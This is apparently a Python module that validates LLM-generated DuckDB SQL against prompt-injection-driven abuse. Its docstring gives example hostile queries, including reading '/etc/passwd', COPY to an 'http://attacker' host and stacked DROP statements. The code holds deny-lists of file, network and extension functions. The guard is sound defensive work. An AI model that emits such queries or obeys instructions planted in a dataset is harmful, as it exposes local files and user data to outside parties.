File size: 7,876 Bytes
8ce1429
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
"""
SQL safety guard for LLM-generated queries.

The LLM (or *indirect* prompt-injection hidden inside a user's dataset) can be
coerced into emitting SQL that does far more than answer a question β€” reading
local files (`read_text('/etc/passwd')`), exfiltrating data (`COPY ... TO
'http://attacker'`), loading network extensions (`INSTALL httpfs`), or stacking
a `DROP`. Because the executor runs whatever SQL it is handed, this module is
the hard boundary that turns a *tricked* model into a *harmless* one.

Design priority: block dangerous SQL WITHOUT rejecting legitimate analytical
queries (JOINs, CTEs, window functions, aggregates, sub-queries, UNIONs).

How it stays safe *and* permissive
----------------------------------
1. **Single statement only.** After masking out string literals / comments we
   split on `;`. More than one statement β†’ blocked. This kills stacked-query
   attacks (`SELECT 1; DROP TABLE x`).
2. **Must start with SELECT / WITH / FROM / VALUES / DESCRIBE / SUMMARIZE.**
   Every dangerous *statement* (COPY, ATTACH, INSTALL, SET, PRAGMA, INSERT,
   UPDATE, DELETE, DROP, CREATE, …) is its own leading keyword, so a single
   statement that starts with SELECT simply cannot be one of them. This avoids a
   keyword deny-list, which would false-positive on column names like `load` or
   scalar functions like `REPLACE()`.
3. **File/network function deny-list**, matched as ``name(`` on the
   string-masked SQL β€” so a value like ``'COPY paper'`` or ``read_csv`` used as a
   bare identifier never trips it.
4. **Row-cap.** A `LIMIT` is appended when the query has none, bounding result
   size / cost. (The DuckDB connection sandbox in the executor is the second,
   independent backstop for file/network access.)
"""
import logging
import re

logger = logging.getLogger(__name__)

# Hard cap on returned rows when the query specifies no LIMIT of its own.
# Generous on purpose: the pipeline already samples charts to 1000 points and
# tables to 30–500 rows, so this only ever trips on pathological/huge results.
DEFAULT_ROW_CAP = 200_000

# A single statement may only begin with one of these (read-only, row-returning).
_ALLOWED_START = re.compile(r"^\s*\(*\s*(SELECT|WITH|FROM|VALUES|TABLE|DESCRIBE|SUMMARIZE)\b", re.IGNORECASE)

# File-system / network / system access functions. Matched as ``name(``.
_FORBIDDEN_FUNCTIONS = {
    "read_csv", "read_csv_auto", "read_parquet", "read_json", "read_json_auto",
    "read_ndjson", "read_ndjson_auto", "read_text", "read_blob", "read_xlsx",
    "parquet_scan", "csv_scan", "json_scan", "scan_csv", "from_csv_auto",
    "sniff_csv", "parquet_metadata", "parquet_schema", "parquet_file_metadata",
    "glob", "delta_scan", "iceberg_scan", "iceberg_metadata",
    "postgres_scan", "postgres_query", "sqlite_scan", "sqlite_query",
    "mysql_scan", "mysql_query", "shellfs", "install_extension", "load_extension",
}
_FORBIDDEN_FUNC_RE = re.compile(
    r"\b(" + "|".join(re.escape(f) for f in _FORBIDDEN_FUNCTIONS) + r")\s*\(",
    re.IGNORECASE,
)

# Belt-and-braces: even inside a SELECT these tokens must never appear.
#   COPY ... TO   β†’ exfiltration   |   INTO β†’ SELECT-INTO table creation
_FORBIDDEN_TOKEN_RE = re.compile(r"\b(COPY|ATTACH|DETACH|INSTALL|PRAGMA)\b", re.IGNORECASE)


class SQLGuardResult:
    """Outcome of a guard check."""
    __slots__ = ("ok", "sql", "reason")

    def __init__(self, ok: bool, sql: str = "", reason: str = ""):
        self.ok = ok
        self.sql = sql          # cleaned SQL safe to execute (LIMIT enforced)
        self.reason = reason    # human-readable block reason (when ok is False)


def _strip_markdown_fence(sql: str) -> str:
    """Remove a ```sql ... ``` fence the LLM occasionally wraps SQL in."""
    s = sql.strip()
    if s.startswith("```"):
        s = re.sub(r"^```[a-zA-Z]*\s*", "", s)
        if s.endswith("```"):
            s = s[:-3]
    return s.strip()


def _mask(sql: str) -> str:
    """
    Return a copy of ``sql`` with string literals, quoted identifiers and
    comments replaced by neutral placeholders, so keyword/function scanning and
    statement splitting only see *structural* SQL β€” never user/data text.

    Note: unterminated quotes and unknown dollar-quotes are left as-is, which
    only makes the scan *more* conservative (fails closed), never less.
    """
    out = []
    i, n = 0, len(sql)
    while i < n:
        c = sql[i]
        # line comment  -- ...
        if c == "-" and i + 1 < n and sql[i + 1] == "-":
            j = sql.find("\n", i)
            if j == -1:
                break
            i = j
            continue
        # block comment  /* ... */
        if c == "/" and i + 1 < n and sql[i + 1] == "*":
            j = sql.find("*/", i + 2)
            i = (j + 2) if j != -1 else n
            out.append(" ")
            continue
        # single-quoted string literal (with '' escape)
        if c == "'":
            i += 1
            while i < n:
                if sql[i] == "'":
                    if i + 1 < n and sql[i + 1] == "'":
                        i += 2
                        continue
                    i += 1
                    break
                i += 1
            out.append("'s'")  # placeholder literal
            continue
        # double-quoted identifier (with "" escape)
        if c == '"':
            i += 1
            while i < n:
                if sql[i] == '"':
                    if i + 1 < n and sql[i + 1] == '"':
                        i += 2
                        continue
                    i += 1
                    break
                i += 1
            out.append(" _id_ ")  # placeholder identifier
            continue
        out.append(c)
        i += 1
    return "".join(out)


def _split_statements(masked: str):
    """Split masked SQL on top-level ';' and return non-empty statements."""
    parts = [p.strip() for p in masked.split(";")]
    return [p for p in parts if p]


def validate_sql(sql: str, row_cap: int = DEFAULT_ROW_CAP) -> SQLGuardResult:
    """
    Validate an LLM-generated SQL string.

    Returns a SQLGuardResult. When ``ok`` is True, ``sql`` is the cleaned query
    (markdown fence removed, trailing ';' stripped, LIMIT enforced) and is safe
    to execute. When ``ok`` is False, ``reason`` explains why it was blocked.
    """
    if not sql or not sql.strip():
        return SQLGuardResult(False, reason="Empty SQL")

    cleaned = _strip_markdown_fence(sql)
    masked = _mask(cleaned)

    # 1) Exactly one statement (kills stacked-query injection)
    statements = _split_statements(masked)
    if len(statements) > 1:
        return SQLGuardResult(False, reason="Multiple SQL statements are not allowed")
    if not statements:
        return SQLGuardResult(False, reason="No executable SQL statement found")

    masked_stmt = statements[0]

    # 2) Must be a read-only, row-returning statement
    if not _ALLOWED_START.match(masked_stmt):
        return SQLGuardResult(
            False,
            reason="Only read-only SELECT queries are allowed",
        )

    # 3) No file/network access functions or exfiltration tokens
    m = _FORBIDDEN_FUNC_RE.search(masked_stmt)
    if m:
        return SQLGuardResult(False, reason=f"Disallowed function: {m.group(1)}()")
    m = _FORBIDDEN_TOKEN_RE.search(masked_stmt)
    if m:
        return SQLGuardResult(False, reason=f"Disallowed operation: {m.group(1)}")

    # 4) Enforce a row cap when the query has no LIMIT/FETCH of its own.
    safe_sql = cleaned.rstrip().rstrip(";").rstrip()
    has_limit = re.search(r"\b(LIMIT|FETCH)\b", masked_stmt, re.IGNORECASE) is not None
    if not has_limit and row_cap and row_cap > 0:
        # New line guarantees the LIMIT is never swallowed by a trailing comment.
        safe_sql = f"{safe_sql}\nLIMIT {int(row_cap)}"

    return SQLGuardResult(True, sql=safe_sql)